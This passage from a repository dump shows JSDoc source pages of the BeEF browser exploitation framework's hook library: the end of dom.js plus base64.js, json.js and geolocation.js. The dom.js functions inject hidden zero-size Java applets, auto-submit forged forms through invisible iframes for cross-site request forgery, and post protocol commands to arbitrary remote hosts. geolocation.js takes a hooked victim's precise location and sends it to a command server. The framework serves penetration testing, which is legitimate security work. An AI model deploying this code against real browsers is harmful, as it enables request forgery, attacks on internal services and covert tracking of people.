(url.match(re)) {\n\t\t\t\t\t$j(this).attr('href', url.replace(re, new_protocol+\"://\")).click(function() { return true; });\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn count;\n\t},\n\n\t/**\n\t * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number\n\t * @param {String} new_number: the new link telephone number to be written\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteTelLinks: function(new_number, selector) {\n\n\t\tvar count = 0;\n\t\tvar re = new RegExp(\"tel:/?/?.*\", \"gi\");\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\n\t\t$j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null) {\n\t\t\t\tvar url = $j(this).attr('href');\n\t\t\t\tif (url.match(re)) {\n\t\t\t\t\t$j(this).attr('href', url.replace(re, \"tel:\"+new_number)).click(function() { return true; });\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn count;\n\t},\n\n    /**\n     * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed\n     * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]\n     * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: &lt;param name='abc' value='test' />).\n     */\n    parseAppletParams: function(params){\n         var result = '';\n         for (i in params){\n           var param = params[i];\n           for(key in param){\n              result += \"&lt;param name='\" + key + \"' value='\" + param[key] + \"' />\";\n           }\n         }\n        return result;\n    },\n\n    /**\n     * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).\n     * example usage in the code, using a JAR archive (recommended and faster):\n     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);\n     * example usage in the code, using codebase:\n     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);\n     * @param {String} id: reference identifier to the applet.\n     * @param {String} code: name of the class to be loaded. For example, beef.class.\n     * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).\n     * @param {String} archive: the jar that contains the code.\n     * @param {String} params: an array of additional params that the applet except.\n     */\n    attachApplet: function(id, name, code, codebase, archive, params) {\n        var content = null;\n        if (beef.browser.isIE()) {\n            content = \"\" + // the classid means 'use the latest JRE available to launch the applet'\n                \"&lt;object id='\" + id + \"'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' \" +\n                \"height='0' width='0' name='\" + name + \"'> \" +\n                \"&lt;param name='code' value='\" + code + \"' />\";\n\n            if (codebase != null) {\n                content += \"&lt;param name='codebase' value='\" + codebase + \"' />\"\n            }\n            if (archive != null){\n                content += \"&lt;param name='archive' value='\" + archive + \"' />\";\n            }\n            if (params != null) {\n                content += beef.dom.parseAppletParams(params);\n            }\n            content += \"&lt;/object>\";\n        }\n        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {\n\n            if (codebase != null) {\n                content = \"\" +\n                    \"&lt;applet id='\" + id + \"' code='\" + code + \"' \" +\n                    \"codebase='\" + codebase + \"' \" +\n                    \"height='0' width='0' name='\" + name + \"'>\";\n            } else {\n                content = \"\" +\n                    \"&lt;applet id='\" + id + \"' code='\" + code + \"' \" +\n                    \"archive='\" + archive + \"' \" +\n                    \"height='0' width='0' name='\" + name + \"'>\";\n            }\n\n            if (params != null) {\n                content += beef.dom.parseAppletParams(params);\n            }\n            content += \"&lt;/applet>\";\n        }\n        // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.\n//        if (beef.browser.isFF()) {\n//            if (codebase != null) {\n//                content = \"\" +\n//                    \"&lt;embed id='\" + id + \"' code='\" + code + \"' \" +\n//                    \"type='application/x-java-applet' codebase='\" + codebase + \"' \" +\n//                    \"height='0' width='0' name='\" + name + \"'>\";\n//            } else {\n//                content = \"\" +\n//                    \"&lt;embed id='\" + id + \"' code='\" + code + \"' \" +\n//                    \"type='application/x-java-applet' archive='\" + archive + \"' \" +\n//                    \"height='0' width='0' name='\" + name + \"'>\";\n//            }\n//\n//            if (params != null) {\n//                content += beef.dom.parseAppletParams(params);\n//            }\n//            content += \"&lt;/embed>\";\n//        }\n        $j('body').append(content);\n    },\n\n    /**\n     * Given an id, remove the applet from the DOM.\n     * @param {String} id: reference identifier to the applet.\n     */\n    detachApplet: function(id) {\n        $j('#' + id + '').detach();\n    },\n\n    /**\n     * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.\n     * @param {String} action: the form action attribute, where the request will be sent.\n     * @param {String} method: HTTP method, usually POST.\n     * @param {String} enctype: form encoding type\n     * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).\n     *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]\n     */\n    createIframeXsrfForm: function(action, method, enctype, inputs){\n        var iframeXsrf = beef.dom.createInvisibleIframe();\n\n        var formXsrf = document.createElement('form');\n        formXsrf.setAttribute('action',  action);\n        formXsrf.setAttribute('method',  method);\n        formXsrf.setAttribute('enctype', enctype);\n\n        var input = null;\n        for (i in inputs){\n            var attributes = inputs[i];\n            input = document.createElement('input');\n                for(key in attributes){\n                    if (key == 'name' &amp;&amp; attributes[key] == 'submit') {\n                      // workaround for https://github.com/beefproject/beef/issues/1117\n                      beef.debug(\"createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'\");\n                      input.setAttribute('Submit', attributes[key]);\n                    } else {\n                      input.setAttribute(key, attributes[key]);\n                    }\n                }\n            formXsrf.appendChild(input);\n        }\n        iframeXsrf.contentWindow.document.body.appendChild(formXsrf);\n        formXsrf.submit();\n\n        return iframeXsrf;\n    },\n\n    /**\n     * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.\n     * @param {String} rhost: remote host ip/domain\n     * @param {String} rport: remote port\n     * @param {String} commands: protocol commands to be executed by the remote host:port service\n     */\n    createIframeIpecForm: function(rhost, rport, path, commands){\n        var iframeIpec = beef.dom.createInvisibleIframe();\n\n        var formIpec = document.createElement('form');\n        formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);\n        formIpec.setAttribute('method',  'POST');\n        formIpec.setAttribute('enctype', 'multipart/form-data');\n\n        input = document.createElement('textarea');\n        input.setAttribute('name', Math.random().toString(36).substring(5));\n        input.value = commands;\n        formIpec.appendChild(input);\n        iframeIpec.contentWindow.document.body.appendChild(formIpec);\n        formIpec.submit();\n\n        return iframeIpec;\n    }\n\n};\n\nbeef.regCmp('beef.dom');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/encode_base64.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: encode/base64.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: encode/base64.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662\n\nbeef.encode = {};\n\n/** \n * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662\n * @namespace beef.encode.base64 \n */\nbeef.encode.base64 = {\n\t\n\tkeyStr: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\",\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} input\n     * @return {string}\n     */\n    encode : function (input) {\n        if (window.btoa) {\n           return btoa(unescape(encodeURIComponent(input)));\n        }\n\n        var output = \"\";\n        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;\n        var i = 0;\n\n        input = beef.encode.base64.utf8_encode(input);\n\n        while (i &lt; input.length) {\n\n            chr1 = input.charCodeAt(i++);\n            chr2 = input.charCodeAt(i++);\n            chr3 = input.charCodeAt(i++);\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 &amp; 3) &lt;&lt; 4) | (chr2 >> 4);\n            enc3 = ((chr2 &amp; 15) &lt;&lt; 2) | (chr3 >> 6);\n            enc4 = chr3 &amp; 63;\n\n            if (isNaN(chr2)) {\n                enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n                enc4 = 64;\n            }\n\n            output = output +\n            this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +\n            this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);\n\n        }\n\n        return output;\n    },\n\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} input\n     * @return {string}\n     */\n    decode : function (input) {\n        if (window.atob) {\n            return escape(atob(input));\n        }\n\n        var output = \"\";\n        var chr1, chr2, chr3;\n        var enc1, enc2, enc3, enc4;\n        var i = 0;\n\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        while (i &lt; input.length) {\n\n            enc1 = this.keyStr.indexOf(input.charAt(i++));\n            enc2 = this.keyStr.indexOf(input.charAt(i++));\n            enc3 = this.keyStr.indexOf(input.charAt(i++));\n            enc4 = this.keyStr.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 &lt;&lt; 2) | (enc2 >> 4);\n            chr2 = ((enc2 &amp; 15) &lt;&lt; 4) | (enc3 >> 2);\n            chr3 = ((enc3 &amp; 3) &lt;&lt; 6) | enc4;\n\n            output = output + String.fromCharCode(chr1);\n\n            if (enc3 != 64) {\n                output = output + String.fromCharCode(chr2);\n            }\n            if (enc4 != 64) {\n                output = output + String.fromCharCode(chr3);\n            }\n\n        }\n\n        output = beef.encode.base64.utf8_decode(output);\n\n        return output;\n\n    },\n\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} string\n     * @return {string}\n     */\n    utf8_encode : function (string) {\n        string = string.replace(/\\r\\n/g,\"\\n\");\n        var utftext = \"\";\n\n        for (var n = 0; n &lt; string.length; n++) {\n\n            var c = string.charCodeAt(n);\n\n            if (c &lt; 128) {\n                utftext += String.fromCharCode(c);\n            }\n            else if((c > 127) &amp;&amp; (c &lt; 2048)) {\n                utftext += String.fromCharCode((c >> 6) | 192);\n                utftext += String.fromCharCode((c &amp; 63) | 128);\n            }\n            else {\n                utftext += String.fromCharCode((c >> 12) | 224);\n                utftext += String.fromCharCode(((c >> 6) &amp; 63) | 128);\n                utftext += String.fromCharCode((c &amp; 63) | 128);\n            }\n\n        }\n\n        return utftext;\n    },\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} utftext\n     * @return {string} \n     */\n    utf8_decode : function (utftext) {\n        var string = \"\";\n        var i = 0;\n        var c = c1 = c2 = 0;\n\n        while ( i &lt; utftext.length ) {\n\n            c = utftext.charCodeAt(i);\n\n            if (c &lt; 128) {\n                string += String.fromCharCode(c);\n                i++;\n            }\n            else if((c > 191) &amp;&amp; (c &lt; 224)) {\n                c2 = utftext.charCodeAt(i+1);\n                string += String.fromCharCode(((c &amp; 31) &lt;&lt; 6) | (c2 &amp; 63));\n                i += 2;\n            }\n            else {\n                c2 = utftext.charCodeAt(i+1);\n                c3 = utftext.charCodeAt(i+2);\n                string += String.fromCharCode(((c &amp; 15) &lt;&lt; 12) | ((c2 &amp; 63) &lt;&lt; 6) | (c3 &amp; 63));\n                i += 3;\n            }\n\n        }\n\n        return string;\n    }\n\n};\n\nbeef.regCmp('beef.encode.base64');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/encode_json.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: encode/json.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: encode/json.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/** \n * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/\n * @namespace beef.encode.json\n */\n\nbeef.encode.json = {\n\t/**\n     * @memberof beef.encode.json\n     * @param o \n     */\n\tstringify: function(o) {\n        if (typeof(JSON) == 'object' &amp;&amp; JSON.stringify) {\n            // Error on stringifying cylcic structures caused polling to die\n            try {\n                s = JSON.stringify(o);    \n            } catch(error) {\n                // TODO log error / handle cyclic structures? \n            }\n            return s;\n        }\n        var type = typeof(o);\n    \n        if (o === null)\n            return \"null\";\n    \n        if (type == \"undefined\")\n            return '\\\"\\\"';\n        \n        if (type == \"number\" || type == \"boolean\")\n            return o + \"\";\n    \n        if (type == \"string\")\n            return $j.quoteString(o);\n    \n        if (type == 'object')\n        {\n            if (typeof o.toJSON == \"function\") \n                return $j.toJSON( o.toJSON() );\n            \n            if (o.constructor === Date)\n            {\n                var month = o.getUTCMonth() + 1;\n                if (month &lt; 10) month = '0' + month;\n\n                var day = o.getUTCDate();\n                if (day &lt; 10) day = '0' + day;\n\n                var year = o.getUTCFullYear();\n                \n                var hours = o.getUTCHours();\n                if (hours &lt; 10) hours = '0' + hours;\n                \n                var minutes = o.getUTCMinutes();\n                if (minutes &lt; 10) minutes = '0' + minutes;\n                \n                var seconds = o.getUTCSeconds();\n                if (seconds &lt; 10) seconds = '0' + seconds;\n                \n                var milli = o.getUTCMilliseconds();\n                if (milli &lt; 100) milli = '0' + milli;\n                if (milli &lt; 10) milli = '0' + milli;\n\n                return '\"' + year + '-' + month + '-' + day + 'T' +\n                             hours + ':' + minutes + ':' + seconds + \n                             '.' + milli + 'Z\"'; \n            }\n\n            if (o.constructor === Array) \n            {\n                var ret = [];\n                for (var i = 0; i &lt; o.length; i++)\n                    ret.push( $j.toJSON(o[i]) || \"null\" );\n\n                return \"[\" + ret.join(\",\") + \"]\";\n            }\n        \n            var pairs = [];\n            for (var k in o) {\n                var name;\n                var type = typeof k;\n\n                if (type == \"number\")\n                    name = '\"' + k + '\"';\n                else if (type == \"string\")\n                    name = $j.quoteString(k);\n                else\n                    continue;  //skip non-string or number keys\n            \n                if (typeof o[k] == \"function\") \n                    continue;  //skip pairs where the value is a function.\n            \n                var val = $j.toJSON(o[k]);\n            \n                pairs.push(name + \":\" + val);\n            }\n\n            return \"{\" + pairs.join(\", \") + \"}\";\n        }\n    },\n    /**\n     * @memberof beef.encode.json\n     * @param string \n     */\n    quoteString: function(string) {\n        if (string.match(this._escapeable))\n        {\n            return '\"' + string.replace(this._escapeable, function (a) \n            {\n                var c = this._meta[a];\n                if (typeof c === 'string') return c;\n                c = a.charCodeAt();\n                return '\\\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);\n            }) + '\"';\n        }\n        return '\"' + string + '\"';\n    },\n    \n    _escapeable: /[\"\\\\\\x00-\\x1f\\x7f-\\x9f]/g,\n    \n    _meta : {\n        '\\b': '\\\\b',\n        '\\t': '\\\\t',\n        '\\n': '\\\\n',\n        '\\f': '\\\\f',\n        '\\r': '\\\\r',\n        '\"' : '\\\\\"',\n        '\\\\': '\\\\\\\\'\n    }\n};\n\n$j.toJSON = function(o) {return beef.encode.json.stringify(o);};\n$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};\n\nbeef.regCmp('beef.encode.json');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/geolocation.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: geolocation.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: geolocation.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides functionalities to use the geolocation API.\n * @namespace beef.geolocation\n */\n\nbeef.geolocation = {\n\n    /**\n     * Check if browser supports the geolocation API\n     * @return {boolean}\n     */\n    isGeolocationEnabled: function(){\n\t\treturn !!navigator.geolocation;\n    },\n\n    /** \n     * Given latitude/longitude retrieves exact street position of the zombie\n     * @param command_url\n     * @param command_id\n     * @param latitude\n     * @param longitude\n     */\n    getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){\n\n        // fixes damned issues with jquery 1.5, like this one:\n        // http://bugs.jquery.com/ticket/8084\n        $j.ajaxSetup({\n            jsonp: null,\n            jsonpCallback: null\n        });\n\n        $j.ajax({\n            error: function(xhr, status, error){\n                beef.debug(\"[geolocation.js] openstreetmap error\");\n                beef.net.send(command_url, command_id, \"latitude=\" + latitude\n                             + \"&amp;longitude=\" + longitude\n                             + \"&amp;osm=UNAVAILABLE\"\n                             + \"&amp;geoLocEnabled=True\");\n                },\n            success: function(data, status, xhr){\n                beef.debug(\"[geolocation.js] openstreetmap success\");\n                //var jsonResp = $j.parseJSON(data);\n\n                beef.net.send(command_url, command_id, \"latitude=\" + latitude\n                             + \"&amp;longitude=\" + longitude\n//                             + \"&amp;osm=\" + encodeURI(jsonResp.display_name)\n                              + \"&amp;osm=\" + data.display_name\n                             + \"&amp;geoLocEnabled=True\");\n                },\n            type: \"get\",\n\t    dataType: \"json\",\n            url: \"https://nominatim.openstreetmap.org/reverse?format=jsonv2&amp;lat=\" +\n                latitude + \"&amp;lon=\" + longitude + \"&amp;zoom=18&amp;addressdetails=1\"\n        });\n\n    },\n\n    /**\n     * Retrieve latitude/longitude using the geolocation API\n     * @param command_url\n     * @param command_id\n     */\n    getGeolocation: function (command_url, command_id){\n\n        if (!navigator.geolocation) {\n\t        beef.net.send(command_url, command_id, \"latitude=NOT_ENABLED&amp;longitude=NOT_ENABLED&amp;geoLocEnabled=False\");\t\n\t\t\treturn;\n\t\t}\n        beef.debug(\"[geolocation.js] navigator.geolocation.getCurrentPosition\");\n        navigator.geolocation.getCurrentPosition( //note: this is an async call\n\t\t\tfunction(position){ // success\n\t\t\t\tvar latitude = position.coords.latitude;\n        \t\tvar longitude = position.coords.longitude;\n                beef.debug(\"[geolocation.js] success getting position. latitude [%d], longitude [%d]\", latitude, longitude);\n                beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);\n\n\t\t\t}, function(error){ // failure\n                    beef.debug(\"[geolocation.js] error [%d] getting position\", error.code);\n\t\t\t\t\tswitch(error.code) // Returns 0-3\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 0:\n\t\t\t            \tbeef.net.send(command_url, command_id, \"latitude=UNKNOWN_ERROR&amp;longitude=UNKNOWN_ERROR&amp;geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tcase 1:\n\t\t            \t\tbeef.net.send(command_url, command_id, \"latitude=PERMISSION_DENIED&amp;longitude=PERMISSION_DENIED&amp;geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tcase 2:\n\t\t            \t\tbeef.net.send(command_url, command_id, \"latitude=POSITION_UNAVAILABLE&amp;longitude=POSITION_UNAVAILABLE&amp;geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tcase 3:\n\t\t\t\t\t   \t\tbeef.net.send(command_url, command_id, \"latitude=TIMEOUT&amp;longitude=TIMEOUT&amp;geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n            \tbeef.net.send(command_url, command_id, \"latitude=UNKNOWN_ERROR&amp;longitude=UNKNOWN_ERROR&amp;geoLocEnabled=False\");\n\t\t\t},\n\t\t\t{enableHighAccuracy:true, maximumAge:30000, timeout:27000}\n\t\t);\n    }\n}\n\n\nbeef.regCmp('beef.geolocation');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/global.html",
